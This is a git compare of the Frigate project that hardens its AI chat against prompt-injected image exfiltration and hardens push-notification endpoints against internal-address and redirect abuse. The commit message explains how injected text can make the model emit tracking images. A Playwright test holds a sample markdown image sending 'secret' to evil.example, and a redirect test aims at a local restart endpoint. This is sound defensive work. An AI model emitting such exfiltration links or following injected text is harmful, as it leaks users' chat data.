Compare commits

..
Author SHA1 Message Date
Josh Hawkins b3e0f4c6da only render same-origin images in chat replies
Assistant markdown rendered any image URL, so a prompt injection in a GenAI description, transcription, or sub label could make the model emit an image pointing at an outside host and the browser would fetch it with chat context in the query string, without a click. Off-origin images now render as their alt text, and off-origin links open in a new tab with noopener noreferrer.
2026-10-18 13:54:44 -05:00
10 changed files with 174 additions and 341 deletions
+66 -2
View File
@@ -1,8 +1,10 @@
"""Notification apis."""
import ipaddress
import logging
import os
from typing import Any
from urllib.parse import urlparse
from cryptography.hazmat.primitives import serialization
from fastapi import APIRouter, Depends, Request
@@ -11,7 +13,6 @@ from py_vapid import Vapid01, utils
from frigate.api.auth import allow_any_authenticated
from frigate.api.defs.tags import Tags
from frigate.comms.webpush import validate_push_endpoint
from frigate.const import CONFIG_DIR
from frigate.models import User
@@ -19,13 +20,76 @@ logger = logging.getLogger(__name__)
router = APIRouter(tags=[Tags.notifications])
# Push endpoints are opaque URLs but stay well under this in practice
MAX_ENDPOINT_LENGTH = 2048
# Suffixes that only ever resolve on the local network
INTERNAL_HOST_SUFFIXES = (".local", ".localdomain", ".internal", ".home.arpa")
def _validate_push_endpoint(endpoint: Any) -> str | None:
"""Return a reason the endpoint is unusable, or None when it is valid.
Subscriptions are issued by the browser vendor's push service, so a valid
endpoint is always a public https URL. Anything else is either a broken
registration or an attempt to aim the notification sender somewhere it
should not reach.
"""
if not isinstance(endpoint, str) or not endpoint:
return "endpoint must be a url"
if len(endpoint) > MAX_ENDPOINT_LENGTH:
return "endpoint is too long"
try:
parsed = urlparse(endpoint)
port = parsed.port
except ValueError:
return "endpoint is not a valid url"
if parsed.scheme != "https":
return "endpoint must use https"
if parsed.username or parsed.password:
return "endpoint must not include credentials"
if port is not None and port != 443:
return "endpoint must use the default https port"
hostname = parsed.hostname
if not hostname:
return "endpoint must include a hostname"
try:
address = ipaddress.ip_address(hostname)
except ValueError:
address = None
if address is not None:
# A push service is never reachable at an address only this network can
# route, so anything non-global is a misconfiguration at best
if not address.is_global:
return "endpoint must not use a private address"
elif hostname == "localhost" or "." not in hostname:
return "endpoint must use a fully qualified hostname"
elif hostname.endswith(INTERNAL_HOST_SUFFIXES):
return "endpoint must not use an internal hostname"
# The subscription token lives in the path, and webpush.py assumes there is
# a separator after the host when it builds the VAPID audience
if len(parsed.path) <= 1:
return "endpoint must include a subscription path"
return None
def _validate_subscription(sub: Any) -> str | None:
"""Return a reason the subscription is unusable, or None when it is valid."""
if not isinstance(sub, dict):
return "subscription must be an object"
reason = validate_push_endpoint(sub.get("endpoint"))
reason = _validate_push_endpoint(sub.get("endpoint"))
if reason:
return reason
+2 -12
View File
@@ -490,12 +490,7 @@ class Dispatcher:
def publish(self, topic: str, payload: Any, retain: bool = False) -> None:
"""Handle publishing to communicators."""
for comm in self.comms:
try:
comm.publish(topic, payload, retain)
except Exception:
logger.exception(
"Error publishing %s to %s", topic, type(comm).__name__
)
comm.publish(topic, payload, retain)
def publish_local(self, topic: str, payload: Any) -> None:
"""Publish to every communicator except MQTT.
@@ -506,12 +501,7 @@ class Dispatcher:
if isinstance(comm, MqttClient):
continue
try:
comm.publish(topic, payload, False)
except Exception:
logger.exception(
"Error publishing %s to %s", topic, type(comm).__name__
)
comm.publish(topic, payload, False)
def _publish_notices(self) -> None:
if self.notice_registry is None:
+1 -7
View File
@@ -50,13 +50,7 @@ class InterProcessCommunicator(Communicator):
if isinstance(raw, list):
(topic, value) = raw
# REP owes a reply, so a handler error must not end the thread
try:
response = self._dispatcher(topic, value)
except Exception:
logger.exception("Error handling IPC topic %s", topic)
response = None
response = self._dispatcher(topic, value)
else:
logging.warning(
f"Received unexpected data type in ZMQ recv_json: {type(raw)}"
+5 -117
View File
@@ -1,7 +1,6 @@
"""Handle sending notifications for Frigate via Firebase."""
import datetime
import ipaddress
import json
import logging
import os
@@ -11,9 +10,7 @@ from collections.abc import Callable, Iterator
from dataclasses import dataclass
from multiprocessing.synchronize import Event as MpEvent
from typing import Any
from urllib.parse import urlparse
import requests
from py_vapid import Vapid01
from pywebpush import WebPusher
from titlecase import titlecase
@@ -44,124 +41,14 @@ class PushNotification:
ttl: int = 0
# Push endpoints are opaque URLs but stay well under this in practice
MAX_ENDPOINT_LENGTH = 2048
# Suffixes that only ever resolve on the local network
INTERNAL_HOST_SUFFIXES = (".local", ".localdomain", ".internal", ".home.arpa")
def validate_push_endpoint(endpoint: Any) -> str | None:
"""Return a reason the endpoint is unusable, or None when it is valid.
Subscriptions are issued by the browser vendor's push service, so a valid
endpoint is always a public https URL. Anything else is either a broken
registration or an attempt to aim the notification sender somewhere it
should not reach.
"""
if not isinstance(endpoint, str) or not endpoint:
return "endpoint must be a url"
if len(endpoint) > MAX_ENDPOINT_LENGTH:
return "endpoint is too long"
try:
parsed = urlparse(endpoint)
port = parsed.port
except ValueError:
return "endpoint is not a valid url"
if parsed.scheme != "https":
return "endpoint must use https"
if parsed.username or parsed.password:
return "endpoint must not include credentials"
if port is not None and port != 443:
return "endpoint must use the default https port"
hostname = parsed.hostname
if not hostname:
return "endpoint must include a hostname"
try:
address = ipaddress.ip_address(hostname)
except ValueError:
address = None
if address is not None:
# A push service is never reachable at an address only this network can
# route, so anything non-global is a misconfiguration at best
if not address.is_global:
return "endpoint must not use a private address"
elif hostname == "localhost" or "." not in hostname:
return "endpoint must use a fully qualified hostname"
elif "" in hostname.split("."):
return "endpoint hostname must not contain empty labels"
elif hostname.endswith(INTERNAL_HOST_SUFFIXES):
return "endpoint must not use an internal hostname"
# The subscription token lives in the path
if len(parsed.path) <= 1:
return "endpoint must include a subscription path"
return None
class _NoRedirectSession(requests.Session):
"""Session that never follows redirects.
A push endpoint could otherwise redirect the send to an internal URL.
"""
def request(self, *args: Any, **kwargs: Any) -> requests.Response:
kwargs["allow_redirects"] = False
return super().request(*args, **kwargs)
_push_session = _NoRedirectSession()
def _vapid_audience(endpoint: str) -> str:
parsed = urlparse(endpoint)
return f"{parsed.scheme}://{parsed.netloc}"
def _build_web_pushers(user: str, subs: list[dict[str, Any]]) -> list[WebPusher]:
"""Build pushers for a user's stored subscriptions, skipping unusable ones."""
pushers: list[WebPusher] = []
for sub in subs:
# Stored rows may predate registration validation, so only skip the
# endpoints that would break building the VAPID audience
endpoint = sub.get("endpoint") if isinstance(sub, dict) else None
if not isinstance(endpoint, str):
logger.warning(
"Skipping notification subscription for %s: no endpoint", user
)
continue
try:
hostname = urlparse(endpoint).hostname or ""
except ValueError:
logger.warning(
"Skipping notification subscription for %s: unparsable endpoint", user
)
continue
if "" in hostname.split("."):
logger.warning(
"Skipping notification subscription for %s: invalid endpoint host %r",
user,
hostname,
)
continue
# WebPusher decodes the stored keys and raises on malformed ones
try:
pushers.append(WebPusher(sub, requests_session=_push_session))
pushers.append(WebPusher(sub))
except Exception:
logger.warning("Skipping invalid notification subscription for %s", user)
@@ -244,7 +131,7 @@ class WebPushClient(Communicator):
for pushers in self.web_pushers.values():
for push in pushers:
endpoint: str = push.subscription_info["endpoint"]
endpoints.add(_vapid_audience(endpoint))
endpoints.add(endpoint[0 : endpoint.index("/", 10)])
# create new claim
for endpoint in endpoints:
@@ -433,8 +320,9 @@ class WebPushClient(Communicator):
for pusher in self.web_pushers[notification.user]:
endpoint = pusher.subscription_info["endpoint"]
headers = self.claim_headers[_vapid_audience(endpoint)].copy()
headers = self.claim_headers[
endpoint[: endpoint.index("/", 10)]
].copy()
headers["urgency"] = "high"
resp = pusher.send(
-76
View File
@@ -1,76 +0,0 @@
"""Tests that IPC handler errors cannot stall inter-process communication."""
import os
import tempfile
import unittest
from unittest.mock import MagicMock, patch
import zmq
from frigate.comms.dispatcher import Dispatcher
from frigate.comms.inter_process import InterProcessCommunicator
class TestInterProcessHandlerErrors(unittest.TestCase):
def setUp(self):
self.tmp = tempfile.TemporaryDirectory()
self.address = f"ipc://{os.path.join(self.tmp.name, 'comms')}"
with patch("frigate.comms.inter_process.SOCKET_REP_REQ", self.address):
self.communicator = InterProcessCommunicator()
self.context = zmq.Context()
self.requestor = self.context.socket(zmq.REQ)
self.requestor.setsockopt(zmq.RCVTIMEO, 5000)
self.requestor.connect(self.address)
def tearDown(self):
self.requestor.close(linger=0)
self.context.destroy(linger=0)
self.communicator.stop()
self.tmp.cleanup()
def test_handler_exception_still_replies_and_keeps_reading(self):
def dispatcher(topic, value):
if topic == "boom":
raise ValueError("handler failed")
return value
self.communicator.subscribe(dispatcher)
self.communicator.start()
with self.assertLogs("frigate.comms.inter_process", level="ERROR"):
self.requestor.send_json(("boom", None))
self.assertEqual(self.requestor.recv_json(), [])
self.requestor.send_json(("echo", "ok"))
self.assertEqual(self.requestor.recv_json(), "ok")
self.assertTrue(self.communicator.reader_thread.is_alive())
class TestDispatcherPublishErrors(unittest.TestCase):
def test_failing_communicator_does_not_block_the_others(self):
failing = MagicMock()
failing.publish.side_effect = ValueError("publish failed")
healthy = MagicMock()
with (
patch("frigate.comms.dispatcher.CameraActivityManager"),
patch("frigate.comms.dispatcher.AudioActivityManager"),
):
dispatcher = Dispatcher(
MagicMock(), MagicMock(), MagicMock(), {}, [failing, healthy]
)
healthy.publish.reset_mock()
with self.assertLogs("frigate.comms.dispatcher", level="ERROR"):
dispatcher.publish("reviews", "{}")
dispatcher.publish_local("notices", "[]")
healthy.publish.assert_any_call("reviews", "{}", False)
healthy.publish.assert_any_call("notices", "[]", False)
if __name__ == "__main__":
unittest.main()
+26 -76
View File
@@ -3,13 +3,8 @@
import unittest
from base64 import urlsafe_b64encode
from frigate.api.notification import _validate_subscription
from frigate.comms.webpush import (
_build_web_pushers,
_NoRedirectSession,
_vapid_audience,
validate_push_endpoint,
)
from frigate.api.notification import _validate_push_endpoint, _validate_subscription
from frigate.comms.webpush import _build_web_pushers
VALID_ENDPOINTS = [
"https://fcm.googleapis.com/fcm/send/dGhpcy1pcy1hLXRva2Vu",
@@ -31,11 +26,11 @@ class TestValidatePushEndpoint(unittest.TestCase):
def test_accepts_real_push_service_endpoints(self):
for endpoint in VALID_ENDPOINTS:
with self.subTest(endpoint=endpoint):
self.assertIsNone(validate_push_endpoint(endpoint))
self.assertIsNone(_validate_push_endpoint(endpoint))
def test_rejects_http(self):
self.assertIsNotNone(
validate_push_endpoint("http://fcm.googleapis.com/fcm/send/token")
_validate_push_endpoint("http://fcm.googleapis.com/fcm/send/token")
)
def test_rejects_non_http_schemes(self):
@@ -45,7 +40,7 @@ class TestValidatePushEndpoint(unittest.TestCase):
"//example.com/token",
):
with self.subTest(endpoint=endpoint):
self.assertIsNotNone(validate_push_endpoint(endpoint))
self.assertIsNotNone(_validate_push_endpoint(endpoint))
def test_rejects_localhost(self):
for endpoint in (
@@ -55,7 +50,7 @@ class TestValidatePushEndpoint(unittest.TestCase):
"https://[::1]/token",
):
with self.subTest(endpoint=endpoint):
self.assertIsNotNone(validate_push_endpoint(endpoint))
self.assertIsNotNone(_validate_push_endpoint(endpoint))
def test_rejects_private_addresses(self):
for endpoint in (
@@ -66,7 +61,7 @@ class TestValidatePushEndpoint(unittest.TestCase):
"https://0.0.0.0/token",
):
with self.subTest(endpoint=endpoint):
self.assertIsNotNone(validate_push_endpoint(endpoint))
self.assertIsNotNone(_validate_push_endpoint(endpoint))
def test_rejects_internal_hostnames(self):
for endpoint in (
@@ -76,16 +71,16 @@ class TestValidatePushEndpoint(unittest.TestCase):
"https://host.home.arpa/token",
):
with self.subTest(endpoint=endpoint):
self.assertIsNotNone(validate_push_endpoint(endpoint))
self.assertIsNotNone(_validate_push_endpoint(endpoint))
def test_rejects_non_default_port(self):
self.assertIsNotNone(
validate_push_endpoint("https://fcm.googleapis.com:8080/fcm/send/token")
_validate_push_endpoint("https://fcm.googleapis.com:8080/fcm/send/token")
)
def test_rejects_embedded_credentials(self):
self.assertIsNotNone(
validate_push_endpoint(
_validate_push_endpoint(
"https://user:pass@fcm.googleapis.com/fcm/send/token"
)
)
@@ -93,26 +88,26 @@ class TestValidatePushEndpoint(unittest.TestCase):
def test_rejects_endpoint_without_path(self):
for endpoint in ("https://fcm.googleapis.com", "https://fcm.googleapis.com/"):
with self.subTest(endpoint=endpoint):
self.assertIsNotNone(validate_push_endpoint(endpoint))
self.assertIsNotNone(_validate_push_endpoint(endpoint))
def test_rejects_empty_hostname_labels(self):
for endpoint in (
"https://./x",
"https://fcm..googleapis.com/token",
"https://.fcm.googleapis.com/token",
"https://fcm.googleapis.com./token",
):
with self.subTest(endpoint=endpoint):
self.assertIsNotNone(validate_push_endpoint(endpoint))
def test_rejects_endpoint_that_breaks_audience_parsing(self):
# webpush.py locates the host by searching for a separator after index
# 10, which raises ValueError when the url has no path at all
endpoint = "https://fcm.googleapis.com"
with self.assertRaises(ValueError):
endpoint.index("/", 10)
self.assertIsNotNone(_validate_push_endpoint(endpoint))
def test_rejects_missing_or_non_string_endpoint(self):
for endpoint in (None, "", 5, {"url": "https://example.com/token"}):
with self.subTest(endpoint=endpoint):
self.assertIsNotNone(validate_push_endpoint(endpoint))
self.assertIsNotNone(_validate_push_endpoint(endpoint))
def test_rejects_overlong_endpoint(self):
self.assertIsNotNone(
validate_push_endpoint(f"https://fcm.googleapis.com/{'a' * 4096}")
_validate_push_endpoint(f"https://fcm.googleapis.com/{'a' * 4096}")
)
@@ -153,6 +148,10 @@ class TestValidateSubscription(unittest.TestCase):
self.assertIsNotNone(_validate_subscription(sub))
if __name__ == "__main__":
unittest.main()
class TestBuildWebPushers(unittest.TestCase):
def test_skips_subscriptions_with_malformed_keys(self):
bad = _subscription(VALID_ENDPOINTS[0])
@@ -164,52 +163,3 @@ class TestBuildWebPushers(unittest.TestCase):
self.assertEqual(len(pushers), 1)
self.assertEqual(pushers[0].receiver_key, b"\x04" + bytes(64))
def _valid_keys_subscription(self, endpoint: str) -> dict:
sub = _subscription(endpoint)
sub["keys"]["p256dh"] = urlsafe_b64encode(b"\x04" + bytes(64)).decode()
return sub
def test_skips_stored_rows_that_break_the_audience(self):
good = self._valid_keys_subscription(VALID_ENDPOINTS[0])
rows = [
self._valid_keys_subscription("https://./secret-token"),
self._valid_keys_subscription("https://[::1/secret-token"),
{"keys": good["keys"]},
"not-a-dict",
good,
]
with self.assertLogs("frigate.comms.webpush", level="WARNING") as logs:
pushers = _build_web_pushers("viewer", rows)
self.assertEqual(len(logs.output), 4)
self.assertIn("'.'", logs.output[0])
self.assertNotIn("secret-token", "".join(logs.output))
self.assertEqual(len(pushers), 1)
self.assertEqual(pushers[0].subscription_info["endpoint"], VALID_ENDPOINTS[0])
self.assertIsInstance(pushers[0].mod_or_session, _NoRedirectSession)
def test_keeps_stored_self_hosted_endpoints(self):
rows = [
self._valid_keys_subscription("https://ntfy.example.com:8443/up123"),
self._valid_keys_subscription("https://ntfy.example.com/"),
]
pushers = _build_web_pushers("viewer", rows)
self.assertEqual(len(pushers), 2)
class TestVapidAudience(unittest.TestCase):
def test_uses_scheme_and_host(self):
self.assertEqual(
_vapid_audience(VALID_ENDPOINTS[0]), "https://fcm.googleapis.com"
)
self.assertEqual(
_vapid_audience(VALID_ENDPOINTS[4]), "https://fcm.googleapis.com:443"
)
if __name__ == "__main__":
unittest.main()
-45
View File
@@ -1,45 +0,0 @@
"""Tests that push sends never follow redirects."""
import unittest
import requests
from requests.adapters import BaseAdapter
from frigate.comms.webpush import _NoRedirectSession
ENDPOINT = "https://push.example.com/token"
class RedirectAdapter(BaseAdapter):
def __init__(self):
super().__init__()
self.calls = 0
def send(self, request, **kwargs):
self.calls += 1
response = requests.Response()
response.status_code = 307
response.headers["Location"] = "http://127.0.0.1:5000/api/restart"
response.url = request.url
response.request = request
return response
def close(self):
pass
class TestNoRedirectSession(unittest.TestCase):
def test_does_not_follow_redirects(self):
adapter = RedirectAdapter()
session = _NoRedirectSession()
session.mount("https://", adapter)
session.mount("http://", adapter)
response = session.post(ENDPOINT, data=b"payload")
self.assertEqual(response.status_code, 307)
self.assertEqual(adapter.calls, 1)
if __name__ == "__main__":
unittest.main()
+1 -6
View File
@@ -338,12 +338,7 @@ def process_frames(
continue
if datetime.now().astimezone(UTC) > next_region_update:
updated_grid = requestor.send_data(REQUEST_REGION_GRID, camera_config.name)
# A failed request replies empty, so keep the current grid
if updated_grid:
region_grid = updated_grid
region_grid = requestor.send_data(REQUEST_REGION_GRID, camera_config.name)
next_region_update = get_tomorrow_at_time(2)
try:
+44
View File
@@ -218,6 +218,50 @@ test.describe("Chat — streaming @medium", () => {
frigateApp.page.getByText(/searching for people/i),
).toBeVisible({ timeout: 5_000 });
});
test("assistant markdown renders only same-origin images", async ({
frigateApp,
}) => {
const reply =
"![leaked alt](https://evil.example/x.png?d=secret) " +
"![local](/api/events/abc/thumbnail.webp) " +
"[offsite](https://evil.example/page)";
await installChatStreamOverride(frigateApp, [
{ type: "content", delta: reply },
{
type: "messages",
messages: [
{ role: "system", content: "sys" },
{ role: "user", content: "show me" },
{ role: "assistant", content: reply },
],
},
{ type: "done" },
]);
const offsiteRequests: string[] = [];
frigateApp.page.on("request", (req) => {
if (req.url().includes("evil.example")) offsiteRequests.push(req.url());
});
await frigateApp.goto("/chat");
const input = frigateApp.page.getByPlaceholder(/ask/i);
await expect(input).toBeVisible({ timeout: 10_000 });
await input.fill("show me");
await input.press("Enter");
await expect(frigateApp.page.getByText("leaked alt")).toBeVisible({
timeout: 10_000,
});
await expect(
frigateApp.page.locator('img[src*="evil.example"]'),
).toHaveCount(0);
await expect(
frigateApp.page.locator('img[src="/api/events/abc/thumbnail.webp"]'),
).toHaveCount(1);
const link = frigateApp.page.getByRole("link", { name: "offsite" });
await expect(link).toHaveAttribute("target", "_blank");
await expect(link).toHaveAttribute("rel", "noopener noreferrer");
expect(offsiteRequests).toEqual([]);
});
});
test.describe("Chat — stop @medium", () => {
+29
View File
@@ -18,6 +18,18 @@ import { cn } from "@/lib/utils";
import { ChatAttachmentChip } from "@/components/chat/ChatAttachmentChip";
import { parseAttachedEvent } from "@/utils/chatUtil";
import type { ChatStats, ShowStatsMode } from "@/types/chat";
import { baseUrl } from "@/api/baseUrl";
// Assistant output can carry prompt-injected URLs, and the browser fetches
// images without a click, so only same-origin images render.
function isSameOrigin(url: string | undefined): boolean {
if (!url) return false;
try {
return new URL(url, baseUrl).origin === window.location.origin;
} catch {
return false;
}
}
type MessageBubbleProps = {
role: "user" | "assistant";
@@ -223,6 +235,23 @@ export function MessageBubble({
{...props}
/>
),
img: ({ node: _n, src, alt, ...props }) =>
typeof src === "string" && isSameOrigin(src) ? (
<img src={src} alt={alt} {...props} />
) : (
<>{alt}</>
),
a: ({ node: _n, href, ...props }) =>
isSameOrigin(href) ? (
<a href={href} {...props} />
) : (
<a
href={href}
target="_blank"
rel="noopener noreferrer"
{...props}
/>
),
}}
>
{content}